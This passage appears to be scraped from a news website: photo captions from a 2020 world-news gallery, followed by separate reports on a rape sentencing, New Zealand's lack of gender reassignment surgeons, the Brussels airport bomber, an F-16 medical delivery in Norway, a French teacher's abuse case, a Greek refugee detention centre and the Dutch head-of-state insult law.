of a pro-democracy commemorative plaque at a rally outside Thailand's parliament in Bangkok, as activists gathered to demand a new constitution AFP via Getty World news in pictures 23 September 2020 A whale stranded on a beach in Macquarie Harbour on the rugged west coast of Tasmania, as hundreds of pilot whales have died in a mass stranding in southern Australia despite efforts to save them, with rescuers racing to free a few dozen survivors The Mercury/AFP via Getty World news in pictures 22 September 2020 State civil employee candidates wearing face masks and shields take a test in Surabaya AFP via Getty World news in pictures 21 September 2020 A man sweeps at the Taj Mahal monument on the day of its reopening after being closed for more than six months due to the coronavirus pandemic AP World news in pictures 20 September 2020 A deer looks for food in a burnt area, caused by the Bobcat fire, in Pearblossom, California EPA World news in pictures 19 September 2020 Anti-government protesters hold their mobile phones aloft as they take part in a pro-democracy rally in Bangkok. Tens of thousands of pro-democracy protesters massed close to Thailand's royal palace, in a huge rally calling for PM Prayut Chan-O-Cha to step down and demanding reforms to the monarchy AFP via Getty World news in pictures 18 September 2020 Supporters of Iraqi Shi'ite cleric Moqtada al-Sadr maintain social distancing as they attend Friday prayers after the coronavirus disease restrictions were eased, in Kufa mosque, near Najaf, Iraq Reuters World news in pictures 17 September 2020 A protester climbs on The Triumph of the Republic at 'the Place de la Nation' as thousands of protesters take part in a demonstration during a national day strike called by labor unions asking for better salary and against jobs cut in Paris, France EPA World news in pictures 16 September 2020 A fire raging near the Lazzaretto of Ancona in Italy. The huge blaze broke out overnight at the port of Ancona. Firefighters have brought the fire under control but they expected to keep working through the day EPA World news in pictures 15 September 2020 Russian opposition leader Alexei Navalny posing for a selfie with his family at Berlin's Charite hospital. In an Instagram post he said he could now breathe independently following his suspected poisoning last month Alexei Navalny/Instagram/AFP World news in pictures 14 September 2020 Japan's Prime Minister Shinzo Abe, Chief Cabinet Secretary Yoshihide Suga, former Defense Minister Shigeru Ishiba and former Foreign Minister Fumio Kishida celebrate after Suga was elected as new head of the ruling party at the Liberal Democratic Party's leadership election in Tokyo Reuters World news in pictures 13 September 2020 A man stands behind a burning barricade during the fifth straight day of protests against police brutality in Bogota AFP via Getty World news in pictures 12 September 2020 Police officers block and detain protesters during an opposition rally to protest the official presidential election results in Minsk, Belarus. Daily protests calling for the authoritarian president's resignation are now in their second month AP World news in pictures 11 September 2020 Members of 'Omnium Cultural' celebrate the 20th 'Festa per la llibertat' ('Fiesta for the freedom') to mark the Day of Catalonia in Barcelona. Omnion Cultural fights for the independence of Catalonia EPA World news in pictures 10 September 2020 The Moria refugee camp, two days after Greece's biggest migrant camp, was destroyed by fire. Thousands of asylum seekers on the island of Lesbos are now homeless AFP via Getty World news in pictures 9 September 2020 Pope Francis takes off his face mask as he arrives by car to hold a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 8 September 2020 A home is engulfed in flames during the "Creek Fire" in the Tollhouse area of California AFP via Getty World news in pictures 7 September 2020 A couple take photos along a sea wall of the waves brought by Typhoon Haishen in the eastern port city of Sokcho AFP via Getty World news in pictures 6 September 2020 Novak Djokovic and a tournament official tends to a linesperson who was struck with a ball by Djokovic during his match against Pablo Carreno Busta at the US Open USA Today Sports/Reuters World news in pictures 5 September 2020 Protesters confront police at the Shrine of Remembrance in Melbourne, Australia, during an anti-lockdown rally AFP via Getty World news in pictures 4 September 2020 A woman looks on from a rooftop as rescue workers dig through the rubble of a damaged building in Beirut. A search began for possible survivors after a scanner detected a pulse one month after the mega-blast at the adjacent port AFP via Getty World news in pictures 3 September 2020 A full moon next to the Virgen del Panecillo statue in Quito, Ecuador EPA World news in pictures 2 September 2020 A Palestinian woman reacts as Israeli forces demolish her animal shed near Hebron in the Israeli-occupied West Bank Reuters World news in pictures 1 September 2020 Students protest against presidential elections results in Minsk TUT.BY/AFP via Getty World news in pictures 31 August 2020 The pack rides during the 3rd stage of the Tour de France between Nice and Sisteron AFP via Getty World news in pictures 30 August 2020 Law enforcement officers block a street during a rally of opposition supporters protesting against presidential election results in Minsk, Belarus Reuters World news in pictures 29 August 2020 A woman holding a placard reading "Stop Censorship - Yes to the Freedom of Expression" shouts in a megaphone during a protest against the mandatory wearing of face masks in Paris. Masks, which were already compulsory on public transport, in enclosed public spaces, and outdoors in Paris in certain high-congestion areas around tourist sites, were made mandatory outdoors citywide on August 28 to fight the rising coronavirus infections AFP via Getty World news in pictures 28 August 2020 Japanese Prime Minister Shinzo Abe bows to the national flag at the start of a press conference at the prime minister official residence in Tokyo. Abe announced he will resign over health problems, in a bombshell development that kicks off a leadership contest in the world's third-largest economy AFP via Getty World news in pictures 27 August 2020 Residents take cover behind a tree trunk from rubber bullets fired by South African Police Service (SAPS) in Eldorado Park, near Johannesburg, during a protest by community members after a 16-year old boy was reported dead AFP via Getty World news in pictures 26 August 2020 People scatter rose petals on a statue of Mother Teresa marking her 110th birth anniversary in Ahmedabad AFP via Getty World news in pictures 25 August 2020 An aerial view shows beach-goers standing on salt formations in the Dead Sea near Ein Bokeq, Israel Reuters World news in pictures 24 August 2020 Health workers use a fingertip pulse oximeter and check the body temperature of a fisherwoman inside the Dharavi slum during a door-to-door Covid-19 coronavirus screening in Mumbai AFP via Getty World news in pictures 23 August 2020 People carry an idol of the Hindu god Ganesh, the deity of prosperity, to immerse it off the coast of the Arabian sea during the Ganesh Chaturthi festival in Mumbai, India Reuters World news in pictures 22 August 2020 Firefighters watch as flames from the LNU Lightning Complex fires approach a home in Napa County, California AP World news in pictures 21 August 2020 Members of the Israeli security forces arrest a Palestinian demonstrator during a rally to protest against Israel's plan to annex parts of the occupied West Bank AFP via Getty World news in pictures 20 August 2020 A man pushes his bicycle through a deserted road after prohibitory orders were imposed by district officials for a week to contain the spread of the Covid-19 in Kathmandu AFP via Getty World news in pictures 19 August 2020 A car burns while parked at a residence in Vacaville, California. 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He described the mothers actions as a substantial break of trust from a mother to her daughter.

She was resisting and told you to stop, he added.

The couple were both found guilty of two counts of rape each.

They were both handed down a sentence of three years on count one, and seven years on count two, to be served concurrently.
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Transgender New Zealanders may have to wait up to 30 years for reassignment surgery after the last remaining practitioner retired.

Cosmetic surgeon Dr Jimmy Walker, now in his 70s, spent the last year before his retirement petitioning for someone else to qualify in gender reassignment.

Dr Walker told the Guardian: "It is a very complex surgery and no one wanted to take it up.

"People didnt have the time, or the inclination, I dont know. But it is fascinating surgery and fascinating patients  work that truly changes lives."

Dr Walker is still lobbying the government to find his replacement while the waiting list for state-funded surgery has risen to more than 70.

The New Zealand government pays for one female-to-male and three male-to-female surgeries every two years.

Lynda Whitehead, president of the trans advocacy group Agender, described it as a "wretched situation" that would cause a lot of "depressed trans people" to feel stuck and unable to move on with their lives. "The last few years have been devastating for the trans community," she said. "All hope of getting the procedure done has been taken away.

"When Dr Walker was practising, the waiting list was long, but it was still possible. Now the backlog will take decades to clear.

LGBT+ rights around the globe Show all 9 1 /9 LGBT+ rights around the globe LGBT+ rights around the globe Russia Russias antipathy towards homosexuality has been well established following the efforts of human rights campaigners. However, while it is legal to be homosexual, LGBT couples are offered no protections from discrimination. They are also actively discriminated against by a 2013 law criminalising LGBT propaganda allowing the arrest of numerous Russian LGBT activists. AFP/Getty LGBT+ rights around the globe Brunei Brunei recently introduced a law to make sodomy punishable by stoning to death. It was already illegal and punishable by up to 10 years in prison AFP/Getty LGBT+ rights around the globe Mauritania Men who are found having sex with other men face stoning, while lesbians can be imprisoned, under Sharia law. However, the state has reportedly not executed anyone for this crime since 1987 Alamy LGBT+ rights around the globe Sudan Both male and female same-sex sexual activity is illegal under Sudanese law. Men can be executed on their third offence, women on their fourth Getty LGBT+ rights around the globe Saudi Arabia Homosexuality and gender realignment is illegal and punishable by death, imprisonment, whipping and chemical castration Getty LGBT+ rights around the globe Yemen The official position within the country is that there are no gays. LGBT inviduals, if discovered by the government, are likely to face intense pressure. Punishments range from flogging to the death penalty Getty LGBT+ rights around the globe Nigeria Both male and female same-sex sexual activity is illegal and in some northern states punishable with death by stoning. This is not a policy enacted across the entire country, although there is a prevalent anti-LGBT agenda pushed by the government. In 2007 a Pew survey established that 97% of the population felt that homosexuality should not be accepted. It is punishable by 14 years in prison Reuters LGBT+ rights around the globe Somalia Homosexuality was established as a crime in 1888 and under new Somali Penal Code established in 1973 homosexual sex can be punishable by three years in prison. A person can be put to death for being a homosexual Reuters LGBT+ rights around the globe Iraq Although same-sex relationships have been decriminalised, much of the population still suffer from intense discrimination. Additionally, in some of the country over-run by the extremist organisation Isis, LGBT individuals can face death by stoning Getty

"There are a lot of depressed trans people out there, wanting to move forward with their lives but unable to."

The New Zealand Association of Plastic Surgeons has approached the Ministry of Health to fund two young surgeons to undergo gender reassignment training.

Dr Sally Langley, the association's president, said there is a New Zealand plastic surgeon studying reassignment abroad but has "no idea" when they will be experienced enough to practice it back home.
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One of the two suicide bombers who blew themselves up at Brussels airport in March was previously an Isis jailer who guarded Western hostages in Syria.

Najim Laachraoui, also suspected of being the principal bomb-maker for both the Paris and Brussels attacks, has been formally identified as one of a team of French-speaking jihadists who guarded four captive French journalists in 2013-14.

Laachraoui, 24, then known as Idriss Abou, is also believed to have guarded the American journalist James Foley, who was executed in August 2014.

The identification by two of the French journalists adds to the already overwhelming weight of evidence that the Paris and Brussels attacks in November and March respectively were carried out by jihadists who had been sent back from Syria to attack European civilian targets.

A lawyer representing two of the journalists, Marie-Laure Ingouf, said her clients had recognised Laachraoui from media images as the cultivated and religious member of the squad which had guarded them.

She said that the four French hostages  Edouard Elias, Didier Francois, Nicolas Henin and Pierre Torres  had shared the same cell as James Foley. Laachraoui had therefore also been the Americans jailer, as reported earlier this week.

In a written statement to The Independent, confirming a story in Le Parisien, Ms Ingouf said that another guard  a much less cultivated man  was Mehdi Nemmouche, the French man suspected of attacking a jewish museum in Brussels in 2014.

Najim Laachraoui, born in Belgium, had once trained as an electrical engineer. DNA traces found by French and Belgian investigators suggest that he played an important role in the construction of the suicide belts and bombs used in the Paris and Brussels attacks.

On 22 March, he was one of the two jihadis who blew themselves up at Zaventem airport in Brussels, killing 17 people including themselves. According to a Belgian press report yesterday, the third airport bomber, Mohamed Abrini, who escaped, had also been supposed to detonate a bomb in large suitcase. He was blown off his feet by the first explosion and was prevented by a surge of panicking travellers from returning to his luggage trolley to detonate his bomb.

According to Le Parisien, Najim Laachraoui was one of the calmer and less brutal members of an Isis team of prison guards in Syria. The newspaper quoted the former French hostages as saying that he would sometimes set scientific quiz questions for his prisoners.

He is believed to have left Brussels for Syria in 2013 and returned by at the end of last summer  as part of a larger team sent back to Europe by Isis to attack civilian targets.

Brussels attacks victims Show all 11 1 /11 Brussels attacks victims Brussels attacks victims CONFIRMED DEAD: Adelma Tapia Ruiz Ms Tapia, 37, was from Peru and had lived in Brussels for six years. She was at the airport with her husband, Christophe Delcambe, and their twin four-year-old daughters, Maureen and Alondra. They were checking in to fly to New York to visit Ms Ruizs sisters when the blast struck. The death of Ms Tapia was confirmed by the Peruvian Ministry for Foreign Affairs and her brother Fernando Tapia Coral has told Peruvian radio that she had planned to return to Peru later this year. In a Facebook post, Mr Tapia called her death incomprehensible in a Facebook post. Her husband and children survived, but it has been reported that one of her daughters was injured by debris Brussels attacks victims CONFIRMED DEAD: Leopold Hecht Mr Hecht was a young Belgian student working towards a qualification in law at Saint-Louis University in Brussels. The university confirmed in a Facebook post that he was one of the victims of the Maelbeek metro bombing Brussels attacks victims CONFIRMED DEAD: Oliver Delespesse Mr Delespesse, 36, was confirmed dead in the metro bombing by his employers Wallonie Bruxelles Federation, an organisation which represents French speakers in the region. One of his colleagues, Olivier Dradin posted a tribute on Facebook: "I wanted to pay tribute to him and to his family and to all the other victims" Brussels attacks victims MISSING: Sasha Pinczowski A brother and sister from New York, who were at Zaventem to fly back to the US at the time of the blasts, are also missing. Sascha and Alexander Pinczowski were on the phone to their family when the phone went dead, according to Dutch media. Ms Pinczowski studied business and had previously completed an internship at the UN Brussels attacks victims MISSING: Alexander Pinczowski A brother and sister from New York, who were at Zaventem to fly back to the US at the time of the blasts, are also missing. Sascha and Alexander Pinczowski were on the phone to their family when the phone went dead, according to Dutch media. Ms Pinczowski studied business and had previously completed an internship at the UN Brussels attacks victims MISSING: Aline Bastin Ms Bastin, 29, a former employee of the European Chemical Industry Council, was on the metro at the time of the attacks. Her friends have launched an appeal on Facebook for news of her whereabouts Brussels attacks victims MISSING: Raghavendran Ganesan Mr Ganesans brother has set up an appeal for information on the whereabouts of his sibling, who was on the metro at the time of the attacks. He wrote on Facebook that he had spoken to the Indian embassy, who were still searching for Mr Ganesan Brussels attacks victims MISSING: Sabrina Fazal There has not been word of Ms Fazal, a 25-year-old Belgian student, since yesterday morning. She would have been on the metro at the time of the attacks, on the way to the Haute Ecole Galilee in central Brussels, where she is studying Brussels attacks victims MISSING: David Dixon The family of Mr Dixon, a computer programmer from Nottingham, has not heard from him since he left for work yesterday morning. He is believed to have been on the metro at the time of the blast. Its just waiting, which is heartbreaking, the sister of Charlotte Sutcliffe, Mr Dixons partner, told Radio 4s Today program. His friend Simon Harley-Jones told the BBC that Ms Sutcliffe had been driving around hospitals in the hope of finding him Brussels attacks victims MISSING: Bart Migom Mr Migom, 21, was on his way to Athens, but never arrived. He was texting his girlfriend, Emily Eisenman, from the train to Brussels airport however she haven't heard from him since the attacks. His cell phone rings, she said but there is no answer Brussels attacks victims MISSING: Justin and Stephanie Shults An American couple who lived in Brussels are among the missing, their family have confirmed. Justin and Stephanie had just dropped Stephanies mother, Carolyn Moore, off at the Brussels Airport when the blasts occurred. Mrs Moore, survived the attack, but the couple has not been found

In September of last year, his finger-prints were taken on the Austrian-Hungarian border while he was travelling under the name Soufiane Kaval.

His companion at the time was Salah Abdeslam, the young Belgian who escaped from Paris on the night of the 13 November attacks and was arrested in Brussels last month after four months on the run.

Laachraoui is believed to have used the same false name to rent a house near Namur south of Brussels which became the launchpad for the Paris attacks.
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Brussels airport bomber Najim Laachraoui was one of the men who held four French journalists captive for months in Syria, the lawyer of two of the former hostages told Reuters on Friday.

Najim Laachraoui, a 25 year-old Belgian, was one of the two bombers who blew themselves up at Brussels' airport on 22 March, investigators have said.

Thirty-two people were killed in the attacks on the airport and a metro station.

In pictures: Terror attacks at Brussels airport Show all 30 1 /30 In pictures: Terror attacks at Brussels airport In pictures: Terror attacks at Brussels airport A man carries an injured person in Brussels Airport, after explosions ripped through the departure hall In pictures: Terror attacks at Brussels airport Travellers get to their feet in a smoke filled terminal at Brussels Airport after explosions In pictures: Terror attacks at Brussels airport A man is wounded in Brussels Airport in Brussels In pictures: Terror attacks at Brussels airport A man speaks on a mobile phone in Brussels Airport, after the explosions ripped through the departure hall In pictures: Terror attacks at Brussels airport Belgian police officers detain a man at the Gare du Midi train station in Brussels In pictures: Terror attacks at Brussels airport A police officer stands guard as people are evacuated from Brussels airport, after explosions rocked the facility in Brussels In pictures: Terror attacks at Brussels airport People stand near Brussels airport after being evacuated following explosions that rocked the facility in Brussels In pictures: Terror attacks at Brussels airport Crew and passengers are evacuated from Zaventem Bruxelles International Airport after an attack in Brussels In pictures: Terror attacks at Brussels airport Passengers gather near Brussels airport in Zaventem, following its evacuation after blasts rocked the main terminal of Brussels airport In pictures: Terror attacks at Brussels airport Two women wounded in Brussels Airport in Brussels In pictures: Terror attacks at Brussels airport Passengers and airport staff are evacuated from the terminal building after explosions at Brussels Airport in Zaventem near Brussels In pictures: Terror attacks at Brussels airport Passengers and airport staff are evacuated from the terminal building after explosions at Brussels Airport in Zaventem near Brussels In pictures: Terror attacks at Brussels airport Broken windows seen at the scene of explosions at Zaventem airport near Brussels In pictures: Terror attacks at Brussels airport People leave the scene of explosions at Zaventem airport near Brussels In pictures: Terror attacks at Brussels airport People are evacuated from the scene after two explosions were heard at Brussels Airport In pictures: Terror attacks at Brussels airport People wait outside of the Brussels Airport after evacuation In pictures: Terror attacks at Brussels airport People leave the airport area after explosions at Brussels Airport in Zaventem In pictures: Terror attacks at Brussels airport Passengers comfort each other as they are evacuated from the terminal building after explosions at Brussels Airport in Zaventem In pictures: Terror attacks at Brussels airport People react as they walk away from Brussels airport after explosions rocked the facility in Brussels In pictures: Terror attacks at Brussels airport Emergency services attend the scene of explosions at Zaventem airport near Brussels Reuters In pictures: Terror attacks at Brussels airport Injured people at the scene at Brussels Airport after two explosions were heard PA In pictures: Terror attacks at Brussels airport The aftermath of the explosions at Brussels airport PA In pictures: Terror attacks at Brussels airport People wait outside of the Zaventem airport after two explosions were heard PA In pictures: Terror attacks at Brussels airport Emergency services at the scene of explosions at Brussels Airport In pictures: Terror attacks at Brussels airport A view of the scene after the explosions at Brussels airport PA In pictures: Terror attacks at Brussels airport Emergency services at the scene of explosions at Zaventem airport near Brussels Reuters In pictures: Terror attacks at Brussels airport The aftermath of the explosions at Brussels airport PA In pictures: Terror attacks at Brussels airport The view of the Brussels airport after the explosion PA In pictures: Terror attacks at Brussels airport Smoke is seen at Brussels airport in Brussels AP In pictures: Terror attacks at Brussels airport A photo shows cars on a blocked highway near Zaventem, Brussels National airport, after two explosions rocked the main hall of Brussels Airport Getty Images

"I can confirm that he was the jailer of my clients," Marie-Laure Ingouf, a lawyer for two French journalists freed in April 2014 after spending 10 months as hostages in Syria, told Reuters.

An engineering sciences student who dropped out of university, Laachraoui is believed to have had the technical training that could mean he was the armourer of the operation.

New Brussels airport aftermath video shows total devastation inside terminal

Le Parisien daily on Friday quoted intelligence sources as saying Laachraoui was in charge of interrogating the hostages and was less brutal to them than Mehdi Nemmouche, a Frenchman who in May 2014 killed four people in an attack on Brussels' Jewish Museum.

One of the four former French hostages, Nicolas Henin, had in September 2014 said that he recognized Nemmouche as one of his Syria jailers.

Reuters
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A critically ill patients life was saved after an F-16 fighter jet was used to rush specialised medical equipment halfway across Norway in less than half an hour.

The sick man was taken to a hospital in Bod but it did not have an ECMO machine, which supports the heart and lungs, without which he would die.

Doctors knew the closest one available was at a hospital in Trondheim, 280 miles to the south. A 10-hour journey by car, they feared the man would die before it could arrive.

However, after a moment of inspiration, they decided to contact an air force base near Trondheim to ask if there was any hope of getting the equipment to Bod in time to save the patient, whose precise condition was unclear.

And Lieutenant Colonel Brge Gaff Kleppe, leader of 338 Squadron, told local media outlet VG News: Chance would have it that we had two flights bound for [nearby] Moss on an exercise."

The flight path from Trondheim to Bodo (Google)

One of them had even a cargo tank where there might be room. I called and asked them to keep [back] one plane, while we checked on it [for] all the possible places which could accommodate the machine.

While the armed forces have helped with civilian medical emergencies in the past, it is believed to have been the first time an F-16 jet has been used.

Usually we spend about 35 minutes in flight, said Lt Col Kleppe. But because of the special cargo, the pilot gave a little extra, so he was there in less than 25 minutes.

Within 40 minutes of the call being received, the medical equipment had been delivered to the hospital in Bod.

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The fast moving Glass fire has burned over 1,000 acres and has destroyed homes Getty World news in pictures 26 September 2020 A villager along with a child offers prayers next to a carcass of a wild elephant that officials say was electrocuted in Rani Reserve Forest on the outskirts of Guwahati, India AFP via Getty World news in pictures 25 September 2020 The casket of late Supreme Court Justice Ruth Bader Ginsburg is seen in Statuary Hall in the US Capitol to lie in state in Washington, DC AFP via Getty World news in pictures 24 September 2020 An anti-government protester holds up an image of a pro-democracy commemorative plaque at a rally outside Thailand's parliament in Bangkok, as activists gathered to demand a new constitution AFP via Getty World news in pictures 23 September 2020 A whale stranded on a beach in Macquarie Harbour on the rugged west coast of Tasmania, as hundreds of pilot whales have died in a mass stranding in southern Australia despite efforts to save them, with rescuers racing to free a few dozen survivors The Mercury/AFP via Getty World news in pictures 22 September 2020 State civil employee candidates wearing face masks and shields take a test in Surabaya AFP via Getty World news in pictures 21 September 2020 A man sweeps at the Taj Mahal monument on the day of its reopening after being closed for more than six months due to the coronavirus pandemic AP World news in pictures 20 September 2020 A deer looks for food in a burnt area, caused by the Bobcat fire, in Pearblossom, California EPA World news in pictures 19 September 2020 Anti-government protesters hold their mobile phones aloft as they take part in a pro-democracy rally in Bangkok. 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Lieutenant Colonel Kleppe, who has flown F-16s for 13 years, told local TV that F-16s do not usually carry external storage tanks and if the call for assistance had been received just a few minutes later, the planes would have already departed.

It's good to be able to help civil society in this way. And when it became clear that it had such an outcome, it gives an extra good feeling, he said.

The air force's swift action was praised by the doctors.

We are very grateful for the help we received from the armed forces. It was clearly vital for the patient to get the machine, said Kristian Barnes, clinic director at the at heart and lung clinic at the University Hospital of Troms, where the patient was later transferred.

Defence [the military] often helps in many situations when civil society needs it, but such a direct parallel to something like this, is something I have never experienced before. It's also very rare that we have to borrow equipment on such short notice from another hospital, it is extraordinary.
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A teacher from France who was jailed in Britain for sexual acts with his pupils on a school trip to Sussex was allowed to return to teaching in France because of serious blunders by officials.

A report published by the French education ministry admitted grave dysfunctions had allowed the 53-year-old maths teacher to take up a new job in a school near Paris after serving 15 months in Lewes prison for having sex with a boy.

The teacher appeared before a 35-strong disciplinary committee in France after he left jail in 2007 but his British criminal record was not properly translated into French and he was allowed to seek a new teaching post.

In February this year, the teacher, named only as R., was arrested and formally accused of sexual assault on a 15-year-old boy. Pupils at a middle school at Villemoisson in Essonne, south of Paris, had found a mobile telephone belonging to the teacher containing thousands of erotic images of under-age boys.

The French education minister, Najat Vallaud-Belkacem, said that an investigation had exposed grave malfunctions and errors but no indication of a deliberate closing of ranks by the French teaching profession. She said she would have considered sacking the head of the school district responsible but he had already retired.

She promised that procedures would be tightened in the future.

Under a new EU policy for closer cooperation on policing between member states, approved in 2009, the blunder should not have happened. The teacher was able to disguise the seriousness of his conviction in Britain because criminal records were not systematically shared between EU countries at the time.

In 2005, the teacher travelled to Sussex to supervise a group of French pupils who were on a residential language course. He was arrested and convicted of voyeurism and having sex with a child while in a position of authority.

He wrote to the French education service from Lewes jail to explain why he could not return to his teaching job in France. Nonetheless, when released from prison, he is alleged to have presented a misleading account of his conviction to the disciplinary committee, which was composed mostly of other teachers.

Documents about his trial and conviction were presented in English with an inadequate French translation. The teacher and his lawyer argued that the conviction had been based on a misunderstanding and that a decision by the British court banning him from working with children was not applicable in France.

The committee voted 35 to 0 to allow him to return to the classroom.

The case has emerged at a time when France is wrestling with a series of allegations of historic sexual abuse of children by priests in Catholic schools.
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In a cold and cavernous hall once used as a waste-processing plant, scores of people lie huddled on the bare concrete floor with nothing but a thin blanket to keep them warm  if they can get one.

The food comes with the occasional live maggot; the people wear handmade flip-flops fashioned out of scraps of plastic and clothes skilfully tailored from the ubiquitous blue blankets.

The Vial detention centre on the Greek island of Chios, where 35,000 refugees have landed since the start of this year, is a bleak place and one that the authorities are not keen for the outside world to see.

However, a reporter for The Independent managed to get inside for just under an hour to hear from the refugees who made the dangerous sea crossing from nearby Turkey only to find themselves locked up in a facility that make a prison look like a five-star hotel  in the words of one activist on the island.

Sandals made out of waste plastic found at the Chios refugee camp (Mike Freigeist/You Color the World)

Sumaya Sliman, 32, a Palestinian-Syrian from the Yarmouk Camp in Damascus, fled Syria two months ago, hoping to join her brother and father in Norway.

In some ways, she was fortunate. The United Nations warned this month that civilians still in Yarmouk were facing starvation, dehydration and death amid fierce fighting between Isis and al-Qaeda-linked al-Nusra Front and regular shelling by President Bashar al-Assads forces.

However, Ms Sliman, now detained in Vial, pointed to the bare patch of concrete inside a vast hall where she sleeps with her five-year-old son, Abudah.

At night we are freezing, and we are sick. I have a cough, and a problem with my throat, but the doctors do not give us enough medicine, she said.

Our children are crying, they are hungry. We have no blankets.

Yarmouk was used as a refugee camp for Palestinians displaced following the creation of Israel. My grandfather left Palestine for Syria in 1948, Ms Sliman said sadly. Now we have lost everything twice.

 Maggots in food

Javid Raoufi, 24, a graduate in economics and computer science who previously taught maths in Herat, Afghanistan, showed countless graphic photographs of the violence that prompted him and several of his relative to flee their home country, in the hope of finding safety in the West.

We are not here for European people to give us food. We dont want just to be given food, or water. We are here for freedom. In Afghanistan we had some freedom, but our lives were not safe, he said.

You dont know who is a terrorist, you dont know where the terrorists are.

For me, its not important: Austria, Germany, Switzerland, Sweden. I only want to go to a safe country.

Vial was supposed to be a processing centre for refugees, but has quickly turned into something more menacing  as the razor wire surrounding the hall and a group of huts that are home to about 1,000 people, including young children, babies and more than 20 pregnant women.

We are, right now, in a prison. Two nights ago, in the potatoes, we saw a small animal, he said. A video taken by another inmate also showed a live maggot in a food ration served in the camp.

Mr Raoufi reported problems obtaining medicine for his aunt, who suffers from a cyst on the lining of her heart.

We have only two doctors. The doctors work only five or six hours in a day. The doctors come at 11am, and can only visit 12, maybe 20 people each. Forty people  its not enough. My aunt and uncle really need to go to the hospital, he said.

The doctors visit us every four days, and give ibuprofen to my aunt, for pain. But she says I am not in pain! I need to go to the hospital! but there is nobody to help us  this is Vial.

On Thursday, the refugees staged a breakout, apparently smashing through a locked inner gate and finding the outer one unlocked. Ayas Najib, 20, said: Police were shouting Stop! Dont leave!, but they were a little afraid. After shouting at us, they stepped aside.

But the refugees, perhaps realising there were few other options, drifted back the centre peacefully as the riot police assembled.

Their main hope was to draw attention to their plight. The United Nations High Commissioner for Refugees and a number of non-governmental organisations withdrew their staff from Vial at the end of March, refusing to be complicit in the refugees detention.

The Red Cross and American NGO Samaritans Purse have continued to provide limited medical support, blankets and some hygiene products since 20 March, but individual volunteers have been refused access.

Veronica Encinas Sanchez, a 36-year-old from Mexico who works with the locally led group of volunteers called the Chios Eastern Shore Response Team, said conditions at the centre were completely inhuman.

Innocent children [are] locked in, with no access to education, no proper food and zero hygiene. People call Vial a prison, but a prison is a five-star hotel compared to Vial detention centre, she said.

Prisons have a system. They have outdoor areas for walking and exercising, prisoners have a cafeteria where they receive three meals a day. They have proper bathrooms with hot water, access to books, theyre allowed to receive visitors, they get clean clothing and their sheets changed.

All of the above would be considered a luxury [in] Vial.

The situation is so bad that the local council in Chios is now threatening to sue the Greek government in Athens in a bid to force them to do something to improve the conditions.

We have seen that the government is experiencing difficulties keeping its promises. Probably because they are focused on the big picture they miss the details, said Dimitris Karalis, deputy mayor for local development.

He said initially Vial had worked as a registration centre when refugees only stayed on the island for 24 hours.

If this process was fast, then difficulties in the centre were only minor problems. But now, we have people there for many days, and we need to provide different services  now, we cannot skip those things, Mr Karalis said.

From the beginning we have tried to have the best living conditions for the refugees on the island, and also good conditions for the locals, so as not to interfere with daily life on the island.
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The Dutch government to abolish a law which prohibits anyone insulting the head of a friendly state.

Currently, this crime carries a maximum sentence of two years in prison.

This move by the Dutch government is in response to Turkey's attempts to prosecute German comedian Jan Bohmermann for insulting President Recep Tayyip Erdogan with an offensive poem on television.

MPs from two Dutch liberal parties, People's Party for Freedom and Democracy (VVD) and Democrats 66 (D66), called on the government to scrap the law - Dutch News reports.

Recep Tayyip Erdogan's most controversial quotes Show all 8 1 /8 Recep Tayyip Erdogan's most controversial quotes Recep Tayyip Erdogan's most controversial quotes The Turkish President's craziest quotes Just a week before he was elected President, he called Erdogan Amberin Zaman, the Turkey correspondent for 'The Economist', a "shameless militant woman disguised under the name of a journalist" after she had asked an opposition leader whether "Muslim society is able to question" the authorities. "Know your place," Erdogan said. "They gave you a pen and you are writing a column in a newspaper. "And then they invite you to a TV channel owned by Dogan media group and you insult at a society of 99 per cent Muslims," he said he said according to Today's Zaman newspaper. Sascha Schuermann/Getty Images Recep Tayyip Erdogan's most controversial quotes The Turkish President's craziest quotes Turkish people are pictured chanting slogans during an anti-government protest on Taksim square in Istanbul, on 29 June, 2013. The protests were sparked by brutal police action against a local conservation battle to save Istanbul's Gezi Park, and soon turned into nationwide demonstrations against the government. Amid the protests - the worst in Turkey for years - Erdogan accused demonstrators of being "arm-in-arm with terrorism," according to Reuters. "This is a protest organized by extremist elements. We will not give away anything to those who live arm-in-arm with terrorism," he said. GURCAN OZTURK/AFP/Getty Images Recep Tayyip Erdogan's most controversial quotes The Turkish President's craziest quotes During last years protests, activists used social media to organise and disseminate information. Several dozen tweeters were arrested following the protests, according to local media reports. Erdogan responded by calling the technology a "menace". "There is now a menace which is called Twitter," Erdogan said. "The best examples of lies can be found there. To me, social media is the worst menace to society," BBC New reported. Vladimir Astapkovich/RIA Novosti via Getty Images Recep Tayyip Erdogan's most controversial quotes The Turkish President's craziest quotes Not helping to allay accusations of authoritarianism, after Turkish police detained 49 people, including well-known business people and those close to the ruling party, Erdeogan ominously told reporter that Turkey "is not a banana republic" that can be affected by unnamed "operations", according to Today's Zaman newspaper. People who are backed by the media and certain funders cannot change this country," he said. "People backed by certain dark gangs both inside and outside Turkey cannot mess with the country's path. They cannot change conditions in Turkey. Turkey is not a country that anyone can launch an operation into. The [Turkish] nation will not allow that. The AK Party, which is governing this nation, will not allow this." Alexander Hassenstein/Getty Images Recep Tayyip Erdogan's most controversial quotes The Turkish President's craziest quotes Friends and relatives of the miners who died in an explosion at the Soma mine are pictured praying following the burial in Soma cemetery of the last body to be recovered from the mine in May 2014. At the time, the then-Prime Minister badly misjudged the Soma mining disaster, in which 301 workers died. He told the relatives of dead and dying miners that "these types of incidents are ordinary things", following allegations that the government had ignored safety concerns about the privately owned mine, the Guardian reported. In his defence, Erdogan recounted in a separate speech a list of mining disasters which occurred abroad, including a British disaster in 1862, and one in America "which has every kind of technology". Oli Scarff/Getty Images Recep Tayyip Erdogan's most controversial quotes The Turkish President's craziest quotes Palestinians pictured attending Friday noon prayers in a destroyed mosque that was hit by Israeli strikes, in Gaza City. As Prime Minister, Erdogan has condemned Israel, accusing it of deliberately killing Palestinian mothers and warned that the it would "drown in the blood it sheds." Speaking to thousands of supporters during a rally in Istanbul ahead of the 10 August election, Reuters reported him as saying: "Just like Hitler, who sought to establish a race free of all faults, Israel is chasing after the same target." "They kill women so that they will not give birth to Palestinians; they kill babies so that they won't grow up; they kill men so they can't defend their country ... They will drown in the blood they shed," he said. AP Recep Tayyip Erdogan's most controversial quotes The Turkish President's craziest quotes Amid the worst protests in Turkey for years which had spread across dozens of cities last June, Erdogan accused demonstrators of being "arm-in-arm with terrorism," according to Reuters. A demonstration to halt construction in a park in an 